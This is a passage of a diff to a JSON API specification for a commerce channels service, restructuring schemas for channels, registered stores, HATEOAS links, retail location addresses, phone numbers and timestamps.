}, - "targetMediaType": { - "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", - "type": "string" - }, - "targetSchema": { - "description": "The schema that describes the link target." - }, - "method": { - "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", - "type": "string" - }, - "submissionMediaType": { - "description": "The media type with which to submit data with the request.", - "type": "string", - "default": "application/json" - }, - "submissionSchema": { - "description": "The schema that describes the request data." - } - }, - "required": [ - "rel", - "href" - ] - } - }, - "createdAt": { - "description": "The date and time the channel was created.", - "readOnly": true, - "$id": "https://godaddy.com/schemas/common/date-time.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "string", - "minLength": 20, - "maxLength": 64, - "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$" + "title": "RegisteredStore", + "type": "object" }, - "updatedAt": { - "description": "The date and time the channel was updated.", - "readOnly": true, - "$id": "https://godaddy.com/schemas/common/date-time.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "string", - "minLength": 20, - "maxLength": 64, - "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$" - } + "type": "array" }, - "required": [ - "name" - ] - } - ], - "discriminator": { - "propertyName": "type", - "mapping": { - "ONLINE": "./OnlineChannel.yaml", - "RETAIL": "./RetailChannel.yaml", - "MOBILE": "./MobileChannel.yaml", - "MARKETPLACE": "./MarketplaceChannel.yaml", - "SOCIAL": "./SocialChannel.yaml", - "DEFAULT": "./BasicChannel.yaml" - } - }, - "properties": { - "type": { - "type": "string", - "description": "Channel type should be one of ('RETAIL','ONLINE','MOBILE','MARKETPLACE','SOCIAL','DEFAULT')" - } - }, - "required": [ - "type" - ] - } + "status": { + "$id": "https://godaddy.com/schemas/commerce/channel-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "default": "ACTIVE", + "description": "Channel Status", + "enum": [ + "PENDING_SETUP", + "ACTIVE", + "INACTIVE", + "ERROR", + "REMOVED" + ], + "title": "ChannelStatus", + "type": "string" + }, + "subType": { + "description": "Additional information that represents the type of the channel", + "maxLength": 256, + "type": "string" + }, + "updatedAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + } + }, + "required": [ + "name" + ], + "title": "Basic Channel", + "type": "object" + } + ], + "properties": { + "type": { + "description": "Channel type should be one of ('RETAIL','ONLINE','MOBILE','MARKETPLACE','SOCIAL','DEFAULT')", + "type": "string" + } + }, + "required": [ + "type" + ], + "title": "Channel", + "type": "object" } }, - "scopes": [ - "commerce.channel:create" - ] - }, - { - "operationId": "getChannels", - "method": "GET", - "path": "/channels", - "summary": "Get all channels", - "description": "Retrieve all the channels for a specific provider using parameters", - "parameters": [ - { - "name": "externalChannelId", - "in": "query", - "required": false, - "schema": { - "type": "string" - } - }, - { - "name": "registeredStores.storeId", - "in": "query", - "required": false, - "schema": { - "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "unique identifier", - "type": "string", - "format": "uuid", - "example": "id", - "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}" - } - }, - { - "name": "registeredStores.default", - "in": "query", - "required": false, - "schema": { - "type": "boolean", - "nullable": true - } - }, - { - "name": "pageSize", - "in": "query", - "required": false, - "schema": { - "type": "integer", - "default": 10, - "maximum": 100 - } - }, - { - "name": "page", - "in": "query", - "required": false, - "schema": { - "type": "integer", - "default": 1, - "maximum": 100 - } - }, - { - "name": "totalRequired", - "in": "query", - "required": false, - "schema": { - "type": "boolean", - "default": false - } - } - ], "responses": { - "200": { - "description": "Channels", + "201": { + "description": "New resource created successfully", "schema": { - "$id": "https://godaddy.com/schemas/commerce/channel-list.v1", + "$id": "https://godaddy.com/schemas/commerce/channel.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "ChannelList", - "type": "object", - "description": "Resource representing a list of Channels", - "properties": { - "items": { - "description": "Array containing the current page of Channels", - "items": { - "$id": "https://godaddy.com/schemas/commerce/channel.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Channel", - "type": "object", - "description": "Resource representing the Channel", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/retail-channel.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Retail Channel", - "type": "object", - "description": "Resource representing a Retail Channel", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/basic-channel.v1", + "description": "Resource representing the Channel", + "discriminator": { + "mapping": { + "DEFAULT": "./BasicChannel.yaml", + "MARKETPLACE": "./MarketplaceChannel.yaml", + "MOBILE": "./MobileChannel.yaml", + "ONLINE": "./OnlineChannel.yaml", + "RETAIL": "./RetailChannel.yaml", + "SOCIAL": "./SocialChannel.yaml" + }, + "propertyName": "type" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/retail-channel.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/basic-channel.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Resource representing the Basic Channel", + "properties": { + "channelId": { + "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "unique identifier", + "example": "id", + "format": "uuid", + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "title": "Id", + "type": "string" + }, + "channelProviderId": { + "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "unique identifier", + "example": "id", + "format": "uuid", + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "title": "Id", + "type": "string" + }, + "createdAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "externalChannelId": { + "description": "External identifier of the channel", + "maxLength": 64, + "type": "string" + }, + "links": { + "$id": "https://godaddy.com/schemas/commerce/link.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "HATEOAS links", + "items": { + "$id": "https://godaddy.com/schema/common/link-description.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Basic Channel", - "type": "object", - "description": "Resource representing the Basic Channel", + "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", "properties": { - "channelId": { - "description": "Globally unique Id of the channel that can be used to reference", - "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "type": "string", - "format": "uuid", - "example": "id", - "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}" + "href": { + "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", + "format": "uri", + "type": "string" }, - "name": { - "type": "string", - "description": "Name of the channel", - "maxLength": 128 + "method": { + "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "type": "string" }, - "channelProviderId": { - "description": "Identifier of the channel provider (defaulted based on the caller's auth credentials)", - "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "type": "string", - "format": "uuid", - "example": "id", - "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}" + "rel": { + "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", + "type": "string" }, - "externalChannelId": { - "type": "string", - "description": "External identifier of the channel", - "maxLength": 64 + "submissionMediaType": { + "default": "application/json", + "description": "The media type with which to submit data with the request.", + "type": "string" }, - "subType": { - "type": "string", - "description": "Additional information that represents the type of the channel", - "maxLength": 256 + "submissionSchema": { + "description": "The schema that describes the request data." }, - "status": { - "$id": "https://godaddy.com/schemas/commerce/channel-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "ChannelStatus", - "type": "string", - "description": "Channel Status", - "enum": [ - "PENDING_SETUP", - "ACTIVE", - "INACTIVE", - "ERROR", - "REMOVED" - ], - "default": "ACTIVE" + "targetMediaType": { + "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", + "type": "string" + }, + "targetSchema": { + "description": "The schema that describes the link target." }, - "registeredStores": { - "description": "List of stores that are registered to this channel", - "items": { - "$id": "https://godaddy.com/schemas/commerce/registered-store.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "RegisteredStore", - "type": "object", - "description": "Resource representing Store registration with Channel", - "properties": { - "storeId": { - "description": "Id of the store that can be used to reference", - "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "type": "string", - "format": "uuid", - "example": "id", - "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}" - }, - "status": { - "description": "Status of the registration", - "$id": "https://godaddy.com/schemas/commerce/registered-store-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "RegisteredStoreStatus", - "type": "string", - "enum": [ - "ENABLED", - "DISABLED" - ], - "default": "ENABLED" - }, - "default": { - "type": "boolean", - "description": "If this is a default channel for the store", - "default": false - }, - "links": { - "description": "Links pointing to external resource", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/link.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Links", - "items": { - "$id": "https://godaddy.com/schema/common/link-description.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Link Description", - "type": "object", - "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", - "properties": { - "href": { - "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", - "type": "string", - "format": "uri" - }, - "rel": { - "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", - "type": "string" - }, - "title": { - "description": "The link title.", - "type": "string" - }, - "targetMediaType": { - "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", - "type": "string" - }, - "targetSchema": { - "description": "The schema that describes the link target." - }, - "method": { - "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", - "type": "string" - }, - "submissionMediaType": { - "description": "The media type with which to submit data with the request.", - "type": "string", - "default": "application/json" - }, - "submissionSchema": { - "description": "The schema that describes the request data." - } - }, - "required": [ - "rel", - "href" - ] - } - } - }, - "required": [ - "storeId" - ] - }, - "type": "array" + "title": { + "description": "The link title.", + "type": "string" + } + }, + "required": [ + "rel", + "href" + ], + "title": "Link Description", + "type": "object" + }, + "title": "Links" + }, + "name": { + "description": "Name of the channel", + "maxLength": 128, + "type": "string" + }, + "registeredStores": { + "description": "List of stores that are registered to this channel", + "items": { + "$id": "https://godaddy.com/schemas/commerce/registered-store.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Resource representing Store registration with Channel", + "properties": { + "default": { + "default": false, + "description": "If this is a default channel for the store", + "type": "boolean" }, "links": { - "description": "Links pointing to external resource", - "readOnly": true, "$id": "https://godaddy.com/schemas/commerce/link.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Links", + "description": "HATEOAS links", "items": { "$id": "https://godaddy.com/schema/common/link-description.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Link Description", - "type": "object", "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", "properties": { "href": { "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", - "type": "string", - "format": "uri" + "format": "uri", + "type": "string" + }, + "method": { + "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "type": "string" }, "rel": { "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", "type": "string" }, - "title": { - "description": "The link title.", + "submissionMediaType": { + "default": "application/json", + "description": "The media type with which to submit data with the request.", "type": "string" }, + "submissionSchema": { + "description": "The schema that describes the request data." + }, "targetMediaType": { "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", "type": "string" }, - "targetSchema": { - "description": "The schema that describes the link target." - }, - "method": { - "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "targetSchema": { + "description": "The schema that describes the link target." + }, + "title": { + "description": "The link title.", + "type": "string" + } + }, + "required": [ + "rel", + "href" + ], + "title": "Link Description", + "type": "object" + }, + "title": "Links" + }, + "status": { + "$id": "https://godaddy.com/schemas/commerce/registered-store-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "default": "ENABLED", + "description": "Registered Store Status", + "enum": [ + "ENABLED", + "DISABLED" + ], + "title": "RegisteredStoreStatus", + "type": "string" + }, + "storeId": { + "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "unique identifier", + "example": "id", + "format": "uuid", + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "title": "Id", + "type": "string" + } + }, + "required": [ + "storeId" + ], + "title": "RegisteredStore", + "type": "object" + }, + "type": "array" + }, + "status": { + "$id": "https://godaddy.com/schemas/commerce/channel-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "default": "ACTIVE", + "description": "Channel Status", + "enum": [ + "PENDING_SETUP", + "ACTIVE", + "INACTIVE", + "ERROR", + "REMOVED" + ], + "title": "ChannelStatus", + "type": "string" + }, + "subType": { + "description": "Additional information that represents the type of the channel", + "maxLength": 256, + "type": "string" + }, + "updatedAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + } + }, + "required": [ + "name" + ], + "title": "Basic Channel", + "type": "object" + } + ], + "description": "Resource representing a Retail Channel", + "properties": { + "location": { + "$defs": { + "RetailLocationContact": { + "properties": { + "phone": { + "$id": "https://godaddy.com/schema/common/phone.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "The phone number, in its canonical international [E.164 numbering plan format](https://www.itu.int/rec/T-REC-E.164/en).", + "properties": { + "countryCode": { + "description": "The country calling code (CC), in its canonical international [E.164 numbering plan format](https://www.itu.int/rec/T-REC-E.164/en). The combined length of the CC and the national number must not be greater than 15 digits. The national number consists of a national destination code (NDC) and subscriber number (SN).", + "maxLength": 3, + "minLength": 1, + "pattern": "^[0-9]{1,3}?$", + "type": "string" + }, + "extensionNumber": { + "description": "The extension number.", + "maxLength": 15, + "minLength": 1, + "pattern": "^[0-9]{1,15}?$", + "type": "string" + }, + "nationalNumber": { + "description": "The national number, in its canonical international [E.164 numbering plan format](https://www.itu.int/rec/T-REC-E.164/en). The combined length of the country calling code (CC) and the national number must not be greater than 15 digits. The national number consists of a national destination code (NDC) and subscriber number (SN).", + "maxLength": 14, + "minLength": 1, + "pattern": "^[0-9]{1,14}?$", + "type": "string" + } + }, + "required": [ + "countryCode", + "nationalNumber" + ], + "title": "Phone", + "type": "object" + }, + "type": { + "$id": "https://godaddy.com/schema/common/phone-type.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "The phone type.", + "enum": [ + "FAX", + "HOME", + "MOBILE", + "OTHER", + "WORK" + ], + "title": "Phone type", + "type": "string" + } + }, + "title": "Retail Location Contact", + "type": "object" + } + }, + "$id": "https://godaddy.com/schemas/commerce/retail-channel-location.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Retail Location", + "properties": { + "address": { + "$id": "https://godaddy.com/schema/common/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "An internationalized postal address. Maps to [AddressValidationMetadata](https://github.com/googlei18n/libaddressinput/wiki/AddressValidationMetadata) from Google's Address Data Service and HTML 5.1 [Autofilling form controls: the autocomplete attribute](https://www.w3.org/TR/html51/sec-forms.html#autofilling-form-controls-the-autocomplete-attribute).", + "properties": { + "addressDetails": { + "description": "The non-portable additional address details that are sometimes needed for compliance, risk, or other scenarios where fine-grain address information might be needed. Not portable with common third-party and open-source address libraries and redundant with core fields. For example, `address.addressLine1` is usually a combination of `addressDetails.streetNumber` and `streetName` and `streetType`.", + "properties": { + "addressType": { + "description": "The type of address. Single character representation of a type. For example: 'B' for building, 'F' for organization, 'G' for general delivery, 'H' for high-rise, 'L' for large-volume organization, 'P' for Post Office box or delivery service, 'R' for rural route, 'S' for street, 'U' for unidentified address.", + "maxLength": 1, + "type": "string" + }, + "buildingName": { + "description": "A named locations that represents the premise. Usually a building name or number or collection of buildings with a common name or number. For example, Craven House.", + "maxLength": 100, + "type": "string" + }, + "deliveryService": { + "description": "The delivery service. Post office box, bag number, or post office name.", + "maxLength": 100, + "type": "string" + }, + "geoCoordinates": { + "$id": "https://godaddy.com/schema/common/geo-coordinates.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "The geographic latitude and longitude coordinates.", + "properties": { + "latitude": { + "pattern": "^-?([1-8]?[1-9]|[1-9]0)\\.{1}\\d{1,6}", + "type": "string" + }, + "longitude": { + "pattern": "^-?([1]?[1-7][1-9]|[1]?[1-8][0]|[1-9]?[0-9])\\.{1}\\d{1,6}", "type": "string" - }, - "submissionMediaType": { - "description": "The media type with which to submit data with the request.", - "type": "string", - "default": "application/json" - }, - "submissionSchema": { - "description": "The schema that describes the request data." } }, "required": [ - "rel", - "href" - ] + "longitude", + "latitude" + ], + "title": "Geographic Coordinates", + "type": "object" + }, + "streetName": { + "description": "The street name. Just `Drury` in `Drury Lane`.", + "maxLength": 100, + "type": "string" + }, + "streetNumber": { + "description": "The street number.", + "maxLength": 100, + "type": "string" + }, + "streetType": { + "description": "The street type. For example, avenue, boulevard, road, or expressway.", + "maxLength": 100, + "type": "string" + }, + "subBuilding": { + "description": "The first-order entity below a named building or location that represents the sub-premise. Usually a single building within a collection of buildings with a common name. Can be a flat, story, floor, room, or apartment.", + "maxLength": 100, + "type": "string" } }, - "createdAt": { - "description": "The date and time the channel was created.", - "readOnly": true, - "$id": "https://godaddy.com/schemas/common/date-time.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "string", - "minLength": 20, - "maxLength": 64, - "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$" - }, - "updatedAt": { - "description": "The date and time the channel was updated.", - "readOnly": true, - "$id": "https://godaddy.com/schemas/common/date-time.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "string", - "minLength": 20, - "maxLength": 64, - "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$" - } + "title": "Address Details", + "type": "object" }, - "required": [ - "name" - ] - } - ], - "properties": { - "location": { - "description": "Location details of the retail channel", - "$id": "https://godaddy.com/schemas/commerce/retail-channel-location.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Retail Location", - "type": "object", - "$defs": { - "RetailLocationContact": { - "type": "object", - "title": "Retail Location Contact", - "properties": { - "type": { - "description": "Type of the contact phone", - "$id": "https://godaddy.com/schema/common/phone-type.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "string", - "title": "Phone type", - "enum": [ - "FAX", - "HOME", - "MOBILE", - "OTHER", - "WORK" - ] - }, - "phone": { - "description": "Phone number details", - "$id": "https://godaddy.com/schema/common/phone.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "object", - "title": "Phone", - "properties": { - "countryCode": { - "type": "string", - "description": "The country calling code (CC), in its canonical international [E.164 numbering plan format](https://www.itu.int/rec/T-REC-E.164/en). The combined length of the CC and the national number must not be greater than 15 digits. The national number consists of a national destination code (NDC) and subscriber number (SN).", - "minLength": 1, - "maxLength": 3, - "pattern": "^[0-9]{1,3}?$" - }, - "nationalNumber": { - "type": "string", - "description": "The national number, in its canonical international [E.164 numbering plan format](https://www.itu.int/rec/T-REC-E.164/en). The combined length of the country calling code (CC) and the national number must not be greater than 15 digits. The national number consists of a national destination code (NDC) and subscriber number (SN).", - "minLength": 1, - "maxLength": 14, - "pattern": "^[0-9]{1,14}?$" - }, - "extensionNumber": { - "type": "string", - "description": "The extension number.", - "minLength": 1, - "maxLength": 15, - "pattern": "^[0-9]{1,15}?$" - } - }, - "required": [ - "countryCode", - "nationalNumber" - ] - } - } - } + "addressLine1": { + "description": "The first line of the address. For example, number and street name. For example, `3032 Bunker Hill Lane`. Required for compliance and risk checks. Must contain the full address.", + "maxLength": 300, + "type": "string" }, - "properties": { - "alias": { - "type": "string", - "maxLength": 128, - "description": "Alias for the location" - }, - "address": { - "description": "Physical address of the retail location", - "$id": "https://godaddy.com/schema/common/address.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "object", - "title": "Postal Address (Medium-Grained)", - "properties": { - "addressLine1": { - "type": "string", - "description": "The first line of the address. For example, number and street name. For example, `3032 Bunker Hill Lane`. Required for compliance and risk checks. Must contain the full address.", - "maxLength": 300 - }, - "addressLine2": { - "type": "string", - "description": "The second line of the address. For example, office suite or apartment number.", - "maxLength": 300 - }, - "addressLine3": { - "type": "string", - "description": "The third line of the address, if needed. For example, a street complement for Brazil; direction text, such as `next to Opera House`; or a landmark reference in an Indian address.", - "maxLength": 100 - }, - "adminArea4": { - "description": "The neighborhood, ward, or district. Smaller than `adminArea3` or `subLocality`. For example, the postal sorting code that is used in Guernsey and many French territories, such as French Guiana; the fine-grained administrative levels in China.", - "type": "string", - "maxLength": 100 - }, - "adminArea3": { - "description": "A sub-locality, suburb, neighborhood, or district. Smaller than `adminArea2`. For example, in Brazil - Suburb, bairro, or neighborhood; in India - Sub-locality or district. Street name information may not always available and a sub-locality or district can reference a very small area.", - "type": "string", - "maxLength": 100 - }, - "adminArea2": { - "description": "A city, town, or village. Smaller than `adminArea1`.", - "type": "string", - "maxLength": 300 - }, - "adminArea1": { - "type": "string", - "description": "The highest level sub-division in a country, which is usually a province, state, or ISO-3166-2 subdivision; formatted for postal delivery. For example, `CA` and not `California`. For example, for UK - A county; for USs - A state; for Canada - A province; for Japan - A prefecture; for Switzerland - A kanton.", - "maxLength": 300 - }, - "postalCode": { - "type": "string", - "description": "The postal code, which is the zip code or equivalent. Typically required for countries that have a postal code or an equivalent. See [Postal code](https://en.wikipedia.org/wiki/Postal_code).", - "maxLength": 60 - }, - "countryCode": { - "description": "The [two-character ISO 3166-1 code](https://en.wikipedia.org/wiki/ISO_3166-1) that identifies the country or region. Note: The country code for Great Britain is `GB` and not `UK` as used in the top-level domain names for that country. Use country code `C2` for China for comparable uncontrolled price (CUP) method, bank-card, and cross-border transactions.", - "$id": "https://godaddy.com/schemas/common-types/country-code.v1", - "$schema": "http://json-schema.org/draft/2020-12/schema", - "type": "string", - "maxLength": 2, - "minLength": 2, - "pattern": "^([A-Z]{2}|C2)$" - }, - "addressDetails": { - "type": "object", - "title": "Address Details", - "description": "The non-portable additional address details that are sometimes needed for compliance, risk, or other scenarios where fine-grain address information might be needed. Not portable with common third-party and open-source address libraries and redundant with core fields. For example, `address.addressLine1` is usually a combination of `addressDetails.streetNumber` and `streetName` and `streetType`.", - "properties": { - "streetNumber": { - "description": "The street number.", - "type": "string", - "maxLength": 100 - }, - "streetName": { - "description": "The street name. Just `Drury` in `Drury Lane`.", - "type": "string", - "maxLength": 100 - }, - "streetType": { - "description": "The street type. For example, avenue, boulevard, road, or expressway.", - "type": "string", - "maxLength": 100 - }, - "deliveryService": { - "description": "The delivery service. Post office box, bag number, or post office name.", - "type": "string", - "maxLength": 100 - }, - "buildingName": { - "description": "A named locations that represents the premise. Usually a building name or number or collection of buildings with a common name or number. For example, Craven House.", - "type": "string", - "maxLength": 100 - }, - "subBuilding": { - "description": "The first-order entity below a named building or location that represents the sub-premise. Usually a single building within a collection of buildings with a common name. Can be a flat, story, floor, room, or apartment.", - "type": "string", - "maxLength": 100 - }, - "addressType": { - "description": "The type of address. Single character representation of a type. For example: 'B' for building, 'F' for organization, 'G' for general delivery, 'H' for high-rise, 'L' for large-volume organization, 'P' for Post Office box or delivery service, 'R' for rural route, 'S' for street, 'U' for unidentified address.", - "type": "string", - "maxLength": 1 - }, - "geoCoordinates": { - "description": "The latitude and longitude of the address. For example, `37.42242` and `-122.08585`.", - "$id": "https://godaddy.com/schema/common/geo-coordinates.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "object", - "title": "Geographic Coordinates", - "properties": { - "longitude": { - "type": "string", - "pattern": "^-?([1]?[1-7][1-9]|[1]?[1-8][0]|[1-9]?[0-9])\\.{1}\\d{1,6}" - }, - "latitude": { - "type": "string", - "pattern": "^-?([1-8]?[1-9]|[1-9]0)\\.{1}\\d{1,6}" - } - }, - "required": [ - "longitude", - "latitude" - ] - } - } - } - }, - "required": [ - "countryCode" - ] - }, - "contacts": { - "type": "array", - "description": "Contact details of the location", - "items": { - "type": "object", - "title": "Retail Location Contact", - "properties": { - "type": { - "description": "Type of the contact phone", - "$id": "https://godaddy.com/schema/common/phone-type.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "string", - "title": "Phone type", - "enum": [ - "FAX", - "HOME", - "MOBILE", - "OTHER", - "WORK" - ] - }, - "phone": { - "description": "Phone number details", - "$id": "https://godaddy.com/schema/common/phone.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "object", - "title": "Phone", - "properties": { - "countryCode": { - "type": "string", - "description": "The country calling code (CC), in its canonical international [E.164 numbering plan format](https://www.itu.int/rec/T-REC-E.164/en). The combined length of the CC and the national number must not be greater than 15 digits. The national number consists of a national destination code (NDC) and subscriber number (SN).", - "minLength": 1, - "maxLength": 3, - "pattern": "^[0-9]{1,3}?$" - }, - "nationalNumber": { - "type": "string", - "description": "The national number, in its canonical international [E.164 numbering plan format](https://www.itu.int/rec/T-REC-E.164/en). The combined length of the country calling code (CC) and the national number must not be greater than 15 digits. The national number consists of a national destination code (NDC) and subscriber number (SN).", - "minLength": 1, - "maxLength": 14, - "pattern": "^[0-9]{1,14}?$" - }, - "extensionNumber": { - "type": "string", - "description": "The extension number.", - 